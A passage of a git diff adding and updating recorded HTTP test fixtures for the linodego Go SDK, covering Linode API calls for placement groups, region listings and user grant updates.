"1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 11}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=900 + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "7144" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - '*' + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"label":"linodego-test-1712862362503240000","region":"eu-west","affinity_type":"anti_affinity:local","is_strict":false}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups + method: POST + response: + body: '{"id": 351, "label": "linodego-test-1712862362503240000", "region": "eu-west", + "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "175" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"label":"linodego-test-1712862362503240000-updated"}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/351 + method: PUT + response: + body: '{"id": 351, "label": "linodego-test-1712862362503240000-updated", "region": + "eu-west", "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "183" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/351 + method: GET + response: + body: '{"id": 351, "label": "linodego-test-1712862362503240000-updated", "region": + "eu-west", "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "183" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"id": 351}' + url: https://api.linode.com/v4beta/placement/groups?page=1 + method: GET + response: + body: '{"data": [{"id": 351, "label": "linodego-test-1712862362503240000-updated", + "region": "eu-west", "affinity_type": "anti_affinity:local", "is_strict": false, + "is_compliant": true, "members": []}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "232" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/351 + method: DELETE + response: + body: '{}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "2" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestRegions_pgLimits.yaml b/test/integration/fixtures/TestRegions_pgLimits.yaml new file mode 100644 index 000000000..d238f4085 --- /dev/null +++ b/test/integration/fixtures/TestRegions_pgLimits.yaml @@ -0,0 +1,120 @@ +--- +version: 1 +interactions: +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/regions + method: GET + response: + body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", + "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", + "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", + "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", + "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", + "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", + "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud + Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Object Storage", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": + "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Object Storage", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": + "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 11}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=900 + - private, max-age=60, s-maxage=60 + Connection: + - keep-alive + Content-Length: + - "7144" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - '*' + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestUserGrants_Update.yaml b/test/integration/fixtures/TestUserGrants_Update.yaml index 8771a3333..4657aba54 100644 --- a/test/integration/fixtures/TestUserGrants_Update.yaml +++ b/test/integration/fixtures/TestUserGrants_Update.yaml @@ -16,7 +16,7 @@ interactions: response: body: '{"username": "linodegotest-updateusergrants", "email": "linodegotest-updateusergrants@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -29,15 +29,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "188" + - "258" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 13 Feb 2024 19:39:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,14 +56,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"global":{"account_access":"read_only","add_domains":false,"add_databases":true,"add_firewalls":true,"add_images":true,"add_linodes":false,"add_longview":true,"add_nodebalancers":false,"add_stackscripts":true,"add_volumes":true,"cancel_account":false,"longview_subscription":false}}' + body: '{"global":{"account_access":"read_only","add_databases":true,"add_domains":false,"add_firewalls":true,"add_images":true,"add_linodes":false,"add_longview":true,"add_nodebalancers":false,"add_stackscripts":true,"add_volumes":true,"cancel_account":false,"longview_subscription":false}}' form: {} headers: Accept: @@ -71,51 +75,23 @@ interactions: url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrants/grants method: PUT response: - body: '{"linode": [{"id": 41591158, "label": "ansible-test-inventory", "permissions": - null}, {"id": 41658354, "label": "tf_test-5934556314800509826", "permissions": - null}, {"id": 41658415, "label": "tf_test-9137808634680747348", "permissions": - null}, {"id": 41658417, "label": "tf_test-6820438710173430308", "permissions": - null}, {"id": 41658428, "label": "tf_test-7984198885518639651", "permissions": - null}, {"id": 41658616, "label": "tf_test-7823563263536727759", "permissions": - null}, {"id": 41658675, "label": "tf_test-7500823998336775767", "permissions": - null}, {"id": 41658677, "label": "tf_test-9039857053321143333", "permissions": - null}, {"id": 41658694, "label": "tf_test-958893655126211430", "permissions": - null}, {"id": 41823145, "label": "ubuntu-us-east-testing", "permissions": null}], - "nodebalancer": [], "domain": [], "stackscript": [{"id": 1110207, "label": "ansible-test-197619451", - "permissions": null}], "longview": [], "image": [{"id": 18529728, "label": "tf_test-6820438710173430308", - "permissions": null}, {"id": 18529729, "label": "tf_test-2510365653812729564", - "permissions": null}, {"id": 18529730, "label": "tf_test-9137808634680747348", - "permissions": null}, {"id": 18529737, "label": "tf_test-7984198885518639651", - "permissions": null}, {"id": 18529738, "label": "tf_test-7984198885518639651", - "permissions": null}, {"id": 18529812, "label": "tf_test-7500823998336775767", - "permissions": null}, {"id": 18529815, "label": "tf_test-9039857053321143333", - "permissions": null}, {"id": 18529816, "label": "tf_test-958893655126211430", - "permissions": null}, {"id": 18529817, "label": "tf_test-958893655126211430", - "permissions": null}], "volume": [], "firewall": [], "database": [{"id": 14637, - "label": "tf_test-563520466150203250", "permissions": null}, {"id": 14638, "label": - "tf_test-6390117349771558899", "permissions": null}, {"id": 14639, "label": - "tf_test-1374137760482804261", "permissions": null}, {"id": 14640, "label": - "tf_test-3347111867749673643", "permissions": null}, {"id": 14641, "label": - "tf_test-6859397732720482476", "permissions": null}, {"id": 14642, "label": - "tf_test-8291666874639770804", "permissions": null}, {"id": 14643, "label": - "tf_test-8193840941368456464", "permissions": null}, {"id": 14644, "label": - "tf_test-4799969768229110427", "permissions": null}, {"id": 14645, "label": - "tf_test-580262857426233267", "permissions": null}, {"id": 14646, "label": "tf_test-4469883573221458079", - "permissions": null}, {"id": 14647, "label": "tf_test-2509947882041115336", - "permissions": null}, {"id": 14648, "label": "tf_test-2870651309179209554", - "permissions": null}, {"id": 14649, "label": "tf_test-5837446087162928096", - "permissions": null}, {"id": 14650, "label": "tf_test-6665087439142600447", - "permissions": null}, {"id": 14651, "label": "tf_test-5999066805637904071", - "permissions": null}, {"id": 14652, "label": "tf_test-4281084641894890037", - "permissions": null}, {"id": 14653, "label": "tf_test-7554465936951395838", - "permissions": null}, {"id": 14654, "label": "tf_test-4133636875310411703", - "permissions": null}, {"id": 14655, "label": "tf_test-8469382010146043663", - "permissions": null}, {"id": 14656, "label": "tf_test-1209200813276963127", - "permissions": null}], "global": {"add_domains": false, "add_linodes": false, - "add_longview": true, "longview_subscription": false, "add_stackscripts": true, - "add_nodebalancers": false, "add_images": true, "add_volumes": true, "add_firewalls": - true, "add_databases": true, "account_access": "read_only", "cancel_account": - false}}' + body: '{"linode": [{"id": 54772819, "label": "test-instance", "permissions": null}, + {"id": 54779923, "label": "test-instance-2", "permissions": null}], "nodebalancer": + [], "domain": [], "stackscript": [{"id": 1173356, "label": "foo", "permissions": + null}], "longview": [], "image": [], "volume": [], "firewall": [{"id": 346984, + "label": "cool-firewall", "permissions": null}], "database": [{"id": 522, "label": + "scalegridgoestojapanpt2", "permissions": null}, {"id": 6806, "label": "tf_test-6495208472049336246", + "permissions": null}, {"id": 6807, "label": "tf_test-6874476732250362643", "permissions": + null}, {"id": 6808, "label": "tf_test-3486893335994149933", "permissions": null}, + {"id": 22775, "label": "IntTestSDK_1686065805updatedSQLDB", "permissions": null}], + "vpc": [{"id": 21774, "label": "test", "permissions": null}, {"id": 21790, "label": + "1707494018673859000label", "permissions": null}, {"id": 21791, "label": "1707494037856246000label", + "permissions": null}, {"id": 21795, "label": "test-vpc", "permissions": null}, + {"id": 21804, "label": "1707497046369793000label", "permissions": null}], "global": + {"add_volumes": true, "add_databases": true, "add_stackscripts": true, "add_domains": + false, "add_images": true, "add_firewalls": true, "longview_subscription": false, + "add_longview": true, "add_vpcs": false, "add_nodebalancers": false, "add_linodes": + false, "account_access": "read_only", "cancel_account": false}}' headers: Access-Control-Allow-Credentials: - "true" @@ -128,17 +104,22 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 13 Feb 2024 19:39:31 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: @@ -149,7 +130,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -181,15 +162,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 13 Feb 2024 19:39:31 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -204,7 +189,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestUserGrants_UpdateNoAccess.yaml b/test/integration/fixtures/TestUserGrants_UpdateNoAccess.yaml index a8f53d906..2bfad674f 100644 --- a/test/integration/fixtures/TestUserGrants_UpdateNoAccess.yaml +++ b/test/integration/fixtures/TestUserGrants_UpdateNoAccess.yaml @@ -16,7 +16,7 @@ interactions: response: body: '{"username": "linodegotest-updateusergrantsna", "email": "linodegotest-updateusergrants@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": - null}' + null, "password_created": null, "last_login": null, "user_type": "default"}' headers: Access-Control-Allow-Credentials: - "true" @@ -29,15 +29,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "190" + - "260" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 13 Feb 2024 19:39:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,14 +56,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"global":{"account_access":null,"add_domains":false,"add_databases":false,"add_firewalls":false,"add_images":false,"add_linodes":false,"add_longview":false,"add_nodebalancers":false,"add_stackscripts":false,"add_volumes":false,"cancel_account":false,"longview_subscription":false}}' + body: '{"global":{"account_access":null,"add_databases":false,"add_domains":false,"add_firewalls":false,"add_images":false,"add_linodes":false,"add_longview":false,"add_nodebalancers":false,"add_stackscripts":false,"add_volumes":false,"cancel_account":false,"longview_subscription":false}}' form: {} headers: Accept: @@ -71,50 +75,23 @@ interactions: url: https://api.linode.com/v4beta/account/users/linodegotest-updateusergrantsna/grants method: PUT response: - body: '{"linode": [{"id": 41591158, "label": "ansible-test-inventory", "permissions": - null}, {"id": 41658354, "label": "tf_test-5934556314800509826", "permissions": - null}, {"id": 41658415, "label": "tf_test-9137808634680747348", "permissions": - null}, {"id": 41658417, "label": "tf_test-6820438710173430308", "permissions": - null}, {"id": 41658428, "label": "tf_test-7984198885518639651", "permissions": - null}, {"id": 41658616, "label": "tf_test-7823563263536727759", "permissions": - null}, {"id": 41658675, "label": "tf_test-7500823998336775767", "permissions": - null}, {"id": 41658677, "label": "tf_test-9039857053321143333", "permissions": - null}, {"id": 41658694, "label": "tf_test-958893655126211430", "permissions": - null}, {"id": 41823145, "label": "ubuntu-us-east-testing", "permissions": null}], - "nodebalancer": [], "domain": [], "stackscript": [{"id": 1110207, "label": "ansible-test-197619451", - "permissions": null}], "longview": [], "image": [{"id": 18529728, "label": "tf_test-6820438710173430308", - "permissions": null}, {"id": 18529729, "label": "tf_test-2510365653812729564", - "permissions": null}, {"id": 18529730, "label": "tf_test-9137808634680747348", - "permissions": null}, {"id": 18529737, "label": "tf_test-7984198885518639651", - "permissions": null}, {"id": 18529738, "label": "tf_test-7984198885518639651", - "permissions": null}, {"id": 18529812, "label": "tf_test-7500823998336775767", - "permissions": null}, {"id": 18529815, "label": "tf_test-9039857053321143333", - "permissions": null}, {"id": 18529816, "label": "tf_test-958893655126211430", - "permissions": null}, {"id": 18529817, "label": "tf_test-958893655126211430", - "permissions": null}], "volume": [], "firewall": [], "database": [{"id": 14637, - "label": "tf_test-563520466150203250", "permissions": null}, {"id": 14638, "label": - "tf_test-6390117349771558899", "permissions": null}, {"id": 14639, "label": - "tf_test-1374137760482804261", "permissions": null}, {"id": 14640, "label": - "tf_test-3347111867749673643", "permissions": null}, {"id": 14641, "label": - "tf_test-6859397732720482476", "permissions": null}, {"id": 14642, "label": - "tf_test-8291666874639770804", "permissions": null}, {"id": 14643, "label": - "tf_test-8193840941368456464", "permissions": null}, {"id": 14644, "label": - "tf_test-4799969768229110427", "permissions": null}, {"id": 14645, "label": - "tf_test-580262857426233267", "permissions": null}, {"id": 14646, "label": "tf_test-4469883573221458079", - "permissions": null}, {"id": 14647, "label": "tf_test-2509947882041115336", - "permissions": null}, {"id": 14648, "label": "tf_test-2870651309179209554", - "permissions": null}, {"id": 14649, "label": "tf_test-5837446087162928096", - "permissions": null}, {"id": 14650, "label": "tf_test-6665087439142600447", - "permissions": null}, {"id": 14651, "label": "tf_test-5999066805637904071", - "permissions": null}, {"id": 14652, "label": "tf_test-4281084641894890037", - "permissions": null}, {"id": 14653, "label": "tf_test-7554465936951395838", - "permissions": null}, {"id": 14654, "label": "tf_test-4133636875310411703", - "permissions": null}, {"id": 14655, "label": "tf_test-8469382010146043663", - "permissions": null}, {"id": 14656, "label": "tf_test-1209200813276963127", - "permissions": null}], "global": {"add_domains": false, "add_linodes": false, - "add_longview": false, "longview_subscription": false, "add_stackscripts": false, - "add_nodebalancers": false, "add_images": false, "add_volumes": false, "add_firewalls": - false, "add_databases": false, "account_access": null, "cancel_account": false}}' + body: '{"linode": [{"id": 54772819, "label": "test-instance", "permissions": null}, + {"id": 54779923, "label": "test-instance-2", "permissions": null}], "nodebalancer": + [], "domain": [], "stackscript": [{"id": 1173356, "label": "foo", "permissions": + null}], "longview": [], "image": [], "volume": [], "firewall": [{"id": 346984, + "label": "cool-firewall", "permissions": null}], "database": [{"id": 522, "label": + "scalegridgoestojapanpt2", "permissions": null}, {"id": 6806, "label": "tf_test-6495208472049336246", + "permissions": null}, {"id": 6807, "label": "tf_test-6874476732250362643", "permissions": + null}, {"id": 6808, "label": "tf_test-3486893335994149933", "permissions": null}, + {"id": 22775, "label": "IntTestSDK_1686065805updatedSQLDB", "permissions": null}], + "vpc": [{"id": 21774, "label": "test", "permissions": null}, {"id": 21790, "label": + "1707494018673859000label", "permissions": null}, {"id": 21791, "label": "1707494037856246000label", + "permissions": null}, {"id": 21795, "label": "test-vpc", "permissions": null}, + {"id": 21804, "label": "1707497046369793000label", "permissions": null}], "global": + {"add_databases": false, "add_nodebalancers": false, "add_volumes": false, "add_firewalls": + false, "add_longview": false, 